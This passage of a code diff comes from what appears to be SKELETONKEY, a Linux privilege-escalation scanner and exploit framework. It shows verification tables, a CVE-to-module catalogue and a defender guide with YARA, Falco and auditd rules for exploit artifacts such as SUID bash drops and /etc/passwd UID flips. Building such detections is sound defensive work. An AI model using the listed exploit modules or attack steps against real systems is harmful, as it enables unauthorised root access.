.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_samedit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudoedit_editor",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "tioscpgrp",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.4.0-26-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "udisks_libblockdev",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t verifications_count =
|
||||
sizeof(verifications) / sizeof(verifications[0]);
|
||||
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out)
|
||||
{
|
||||
if (count_out) *count_out = 0;
|
||||
if (!module) return NULL;
|
||||
const struct verification_record *first = NULL;
|
||||
size_t n = 0;
|
||||
for (size_t i = 0; i < verifications_count; i++) {
|
||||
if (strcmp(verifications[i].module, module) == 0) {
|
||||
if (first == NULL) first = &verifications[i];
|
||||
n++;
|
||||
}
|
||||
}
|
||||
if (count_out) *count_out = n;
|
||||
return first;
|
||||
}
|
||||
|
||||
bool verifications_module_has_match(const char *module)
|
||||
{
|
||||
size_t n = 0;
|
||||
const struct verification_record *r = verifications_for_module(module, &n);
|
||||
for (size_t i = 0; i < n; i++)
|
||||
if (r[i].status && strcmp(r[i].status, "match") == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* SKELETONKEY — per-module verification records
|
||||
*
|
||||
* "Verified-on" entries — concrete (distro, kernel, date) tuples where
|
||||
* tools/verify-vm/verify.sh has empirically confirmed a module's
|
||||
* detect() verdict against a known-vulnerable target. Each entry is one
|
||||
* row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
|
||||
* by tools/refresh-verifications.py.
|
||||
*
|
||||
* Modules with >=1 record carry an empirical-trust badge ("✓ verified
|
||||
* on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
|
||||
* output. Modules with zero records are still tested at the unit level
|
||||
* (synthetic fingerprints), but have not yet been confirmed on a real
|
||||
* vulnerable kernel.
|
||||
*
|
||||
* Append-only by intent: each verify.sh run appends a fresh JSONL line
|
||||
* (timestamped); the refresh script dedupes to (module, vm_box,
|
||||
* kernel, expect_detect) when generating the C table so re-runs of the
|
||||
* same scenario update rather than accumulate.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_VERIFICATIONS_H
|
||||
#define SKELETONKEY_VERIFICATIONS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct verification_record {
|
||||
const char *module; /* module name (matches struct skeletonkey_module.name) */
|
||||
const char *verified_at; /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
|
||||
const char *host_kernel; /* uname -r value, e.g. "5.4.0-169-generic" */
|
||||
const char *host_distro; /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
|
||||
const char *vm_box; /* vagrant box name, e.g. "generic/ubuntu2004" */
|
||||
const char *expect_detect; /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
|
||||
const char *actual_detect; /* what skeletonkey --explain returned */
|
||||
const char *status; /* "match" iff actual == expected; otherwise "MISMATCH" */
|
||||
};
|
||||
|
||||
extern const struct verification_record verifications[];
|
||||
extern const size_t verifications_count;
|
||||
|
||||
/* Returns the first record (count via *count_out) for the named module,
|
||||
* or NULL if the module has no recorded verifications. The records are
|
||||
* stored contiguously in the table, so once you have the pointer you
|
||||
* can iterate count_out entries forward. */
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out);
|
||||
|
||||
/* True iff the module has at least one "match" record. */
|
||||
bool verifications_module_has_match(const char *module);
|
||||
|
||||
#endif /* SKELETONKEY_VERIFICATIONS_H */
|
||||
+43
-1
@@ -82,7 +82,11 @@ Code that more than one module needs lives in `core/`:
|
||||
|
||||
1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
|
||||
`--detect-rules`, `--cleanup`, etc.)
|
||||
2. Fingerprint the host
|
||||
2. **Fingerprint the host** — `core/host.c` is called once at startup
|
||||
to populate `struct skeletonkey_host` (kernel version + arch +
|
||||
distro + capability gates + service presence). The result is
|
||||
handed to every module via `ctx->host`. See "Host fingerprint"
|
||||
below.
|
||||
3. For `--scan`: iterate module registry, call each module's
|
||||
`detect()`, emit table of results
|
||||
4. For `--exploit <name>`: locate module, gate behind `--i-know`,
|
||||
@@ -90,6 +94,44 @@ Code that more than one module needs lives in `core/`:
|
||||
5. For `--detect-rules`: walk module registry, concatenate detection
|
||||
files in the requested format
|
||||
|
||||
## Host fingerprint (`core/host.{h,c}`)
|
||||
|
||||
A single `struct skeletonkey_host` is populated once at startup and
|
||||
exposed to every module via `ctx->host` (a stable pointer for the
|
||||
process lifetime). It carries:
|
||||
|
||||
- **Identity:** `struct kernel_version kernel` + arch + nodename +
|
||||
distro id/version/pretty (parsed from `/etc/os-release`).
|
||||
- **Process state:** euid, real_uid (defeats the userns illusion by
|
||||
reading `/proc/self/uid_map`), egid, username, is_root,
|
||||
is_ssh_session.
|
||||
- **Platform family:** is_linux, is_debian_family, is_rpm_family,
|
||||
is_arch_family, is_suse_family.
|
||||
- **Capability gates (Linux):** unprivileged_userns_allowed (live
|
||||
fork-probe), apparmor_restrict_userns, unprivileged_bpf_disabled,
|
||||
kpti_enabled, kernel_lockdown_active, selinux_enforcing,
|
||||
yama_ptrace_restricted.
|
||||
- **System services:** has_systemd, has_dbus_system.
|
||||
|
||||
Modules that want to consult the fingerprint do:
|
||||
|
||||
```c
|
||||
#include "../../core/host.h"
|
||||
/* ... */
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed)
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
if (ctx->host->kernel.major < 7)
|
||||
return SKELETONKEY_OK; /* predates the bug */
|
||||
```
|
||||
|
||||
The migration is opt-in per module — modules that don't `#include`
|
||||
host.h continue to do their own probes; modules that do save the
|
||||
duplicate work and get a consistent view across the whole scan.
|
||||
|
||||
`--auto` and `--scan` (in verbose mode) print a two-line banner of
|
||||
the fingerprint via `skeletonkey_host_print_banner()` so operators
|
||||
can see at a glance which gates are open.
|
||||
|
||||
## CI matrix
|
||||
|
||||
`.github/workflows/ci.yml` (planned, Phase 4) runs each module's
|
||||
|
||||
@@ -0,0 +1,362 @@
|
||||
[
|
||||
{
|
||||
"cve": "CVE-2016-5195",
|
||||
"module_dir": "dirty_cow_cve_2016_5195",
|
||||
"cwe": "CWE-362",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-03-03"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2017-7308",
|
||||
"module_dir": "af_packet_cve_2017_7308",
|
||||
"cwe": "CWE-681",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2018-14634",
|
||||
"module_dir": "mutagen_astronomy_cve_2018_14634",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-01-26"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-13272",
|
||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2021-12-10"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-14287",
|
||||
"module_dir": "sudo_runas_neg1_cve_2019_14287",
|
||||
"cwe": "CWE-755",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-14386",
|
||||
"module_dir": "af_packet2_cve_2020_14386",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-29661",
|
||||
"module_dir": "tioscpgrp_cve_2020_29661",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-22555",
|
||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-10-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3156",
|
||||
"module_dir": "sudo_samedit_cve_2021_3156",
|
||||
"cwe": "CWE-193",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-33909",
|
||||
"module_dir": "sequoia_cve_2021_33909",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3493",
|
||||
"module_dir": "overlayfs_cve_2021_3493",
|
||||
"cwe": "CWE-270",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-10-20"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-4034",
|
||||
"module_dir": "pwnkit_cve_2021_4034",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-06-27"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0185",
|
||||
"module_dir": "fuse_legacy_cve_2022_0185",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-08-21"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0492",
|
||||
"module_dir": "cgroup_release_agent_cve_2022_0492",
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-06-02"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
"module_dir": "dirty_pipe_cve_2022_0847",
|
||||
"cwe": "CWE-665",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-25"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-25636",
|
||||
"module_dir": "nft_fwd_dup_cve_2022_25636",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-2588",
|
||||
"module_dir": "cls_route4_cve_2022_2588",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0179",
|
||||
"module_dir": "nft_payload_cve_2023_0179",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0386",
|
||||
"module_dir": "overlayfs_setuid_cve_2023_0386",
|
||||
"cwe": "CWE-282",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-06-17"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0458",
|
||||
"module_dir": "entrybleed_cve_2023_0458",
|
||||
"cwe": "CWE-476",
|
||||
"attack_technique": "T1082",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-2008",
|
||||
"module_dir": "vmwgfx_cve_2023_2008",
|
||||
"cwe": "CWE-129",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-22809",
|
||||
"module_dir": "sudoedit_editor_cve_2023_22809",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-32233",
|
||||
"module_dir": "nft_set_uaf_cve_2023_32233",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-3269",
|
||||
"module_dir": "stackrot_cve_2023_3269",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-4622",
|
||||
"module_dir": "af_unix_gc_cve_2023_4622",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-1086",
|
||||
"module_dir": "nf_tables_cve_2024_1086",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-05-30"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-26581",
|
||||
"module_dir": "nft_pipapo_cve_2024_26581",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-50264",
|
||||
"module_dir": "vsock_uaf_cve_2024_50264",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32462",
|
||||
"module_dir": "sudo_host_cve_2025_32462",
|
||||
"cwe": "CWE-863",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32463",
|
||||
"module_dir": "sudo_chwoot_cve_2025_32463",
|
||||
"cwe": "CWE-829",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-09-29"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-6019",
|
||||
"module_dir": "udisks_libblockdev_cve_2025_6019",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-23111",
|
||||
"module_dir": "nft_catchall_cve_2026_23111",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-31635",
|
||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||
"cwe": "CWE-130",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-41651",
|
||||
"module_dir": "pack2theroot_cve_2026_41651",
|
||||
"cwe": "CWE-367",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43494",
|
||||
"module_dir": "pintheft_cve_2026_43494",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43499",
|
||||
"module_dir": "ghostlock_cve_2026_43499",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46242",
|
||||
"module_dir": "bad_epoll_cve_2026_46242",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46243",
|
||||
"module_dir": "cifswitch_cve_2026_46243",
|
||||
"cwe": "CWE-20",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46333",
|
||||
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
@@ -41,12 +41,23 @@ make it part of your daily ops" guide.
|
||||
# Daily/weekly hygiene check
|
||||
sudo skeletonkey --scan
|
||||
|
||||
# Investigate a specific finding (one-page operator briefing)
|
||||
sudo skeletonkey --explain nf_tables # whichever module came back VULNERABLE
|
||||
# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
|
||||
# OPSEC footprint (what an exploit would leave behind), detection-rule
|
||||
# coverage, mitigation. Paste into the triage ticket.
|
||||
|
||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load
|
||||
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||
```
|
||||
|
||||
The `--explain` output is also useful as a learning artifact: each
|
||||
module's `--explain` block is a self-contained CVE briefing with the
|
||||
reasoning chain the detect() function walked, so analysts can verify
|
||||
SKELETONKEY's verdict against their own understanding of the bug.
|
||||
|
||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||
|
||||
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||
@@ -168,6 +179,70 @@ skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||
```
|
||||
|
||||
### YARA artifact scanning
|
||||
|
||||
YARA rules catch the **post-fire** state — page-cache shellcode
|
||||
overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
|
||||
as a scheduled scan against sensitive paths:
|
||||
|
||||
```bash
|
||||
# Ship YARA rules
|
||||
sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
|
||||
|
||||
# Scheduled scan via cron — catches the page-cache and /tmp artifacts
|
||||
# /etc/cron.d/skeletonkey-yara
|
||||
*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
|
||||
/etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
|
||||
2>>/var/log/skeletonkey-yara.log
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
|
||||
| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
|
||||
| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
|
||||
| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
|
||||
| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
|
||||
| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
|
||||
| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
|
||||
| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
|
||||
|
||||
The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
|
||||
`fragnesia_payload_overlay`) are particularly high-signal: no
|
||||
legitimate ELF starts with those exact 28 bytes, so a hit means the
|
||||
exploit landed.
|
||||
|
||||
### Falco runtime detection
|
||||
|
||||
Falco catches the exploit **as it fires** by hooking syscalls and
|
||||
namespace events. Best deploy for K8s / container hosts but works on
|
||||
any modern Linux:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --detect-rules --format=falco \
|
||||
| sudo tee /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo systemctl reload falco # or restart, depending on distro
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
|
||||
| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
|
||||
| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
|
||||
| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
|
||||
| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
|
||||
| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
|
||||
| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
|
||||
| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
|
||||
| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
|
||||
| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
|
||||
| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
|
||||
|
||||
## Day-to-day operational shape
|
||||
|
||||
### What "good" looks like in the SIEM
|
||||
@@ -245,6 +320,96 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
# Reload affected modules / sysctls per your distro
|
||||
```
|
||||
|
||||
## Per-module detection coverage
|
||||
|
||||
Across the 4 rule formats:
|
||||
|
||||
| Module | CVE | auditd | sigma | yara | falco |
|
||||
|---|---|:-:|:-:|:-:|:-:|
|
||||
| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
|
||||
| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
|
||||
| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
|
||||
| Other 21 modules | various | ✓ | partial | — | — |
|
||||
|
||||
Full 4-format coverage on the 10 highest-value modules; auditd
|
||||
covers everything. YARA / Falco expansion to the remaining 21 modules
|
||||
is incremental contributor work (each module's `detect_yara` /
|
||||
`detect_falco` field in the module struct just needs a string).
|
||||
|
||||
## Correlation across formats
|
||||
|
||||
Single-format detections are useful; the high-confidence signal is
|
||||
the **correlation across formats** for the same module in a short
|
||||
window. Each exploit leaves a recognisable multi-format trail:
|
||||
|
||||
| Exploit | falco fires | auditd fires | yara confirms |
|
||||
|---|---|---|---|
|
||||
| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
|
||||
| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
|
||||
| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
|
||||
| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
|
||||
| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
|
||||
| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
|
||||
| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
|
||||
|
||||
If **three of the four signals** fire for the same module in the same
|
||||
window, the exploit landed. **One signal alone** in a noisy
|
||||
environment is more likely a tuning FP; **three signals** is incident
|
||||
response.
|
||||
|
||||
## Worked example: catching DirtyDecrypt end-to-end
|
||||
|
||||
A SOC operator gets a Falco page:
|
||||
|
||||
```
|
||||
CRITICAL AF_RXRPC socket() by non-root (user=alice proc=poc pid=44231)
|
||||
```
|
||||
|
||||
1. **Confirm via auditd** — pull events keyed on the family:
|
||||
```bash
|
||||
sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
|
||||
```
|
||||
Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
|
||||
|
||||
2. **Confirm via yara** — scan setuid binaries for the page-cache
|
||||
overlay:
|
||||
```bash
|
||||
yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
|
||||
```
|
||||
If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
|
||||
exploit landed** — the binary's page cache has been overwritten
|
||||
with the 120-byte shellcode.
|
||||
|
||||
3. **Recover** — the on-disk binary is intact; only the page cache is
|
||||
corrupted. Drop it:
|
||||
```bash
|
||||
sudo skeletonkey --cleanup dirtydecrypt # or: echo 3 > /proc/sys/vm/drop_caches
|
||||
```
|
||||
|
||||
4. **Sigma hunt for lateral / repeat** — query your SIEM with the
|
||||
sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
|
||||
days to find any other hosts.
|
||||
|
||||
5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
|
||||
Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
|
||||
|
||||
6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
|
||||
```bash
|
||||
echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
|
||||
sudo update-initramfs -u
|
||||
```
|
||||
|
||||
The same shape applies to every module: pick the auditd key, the
|
||||
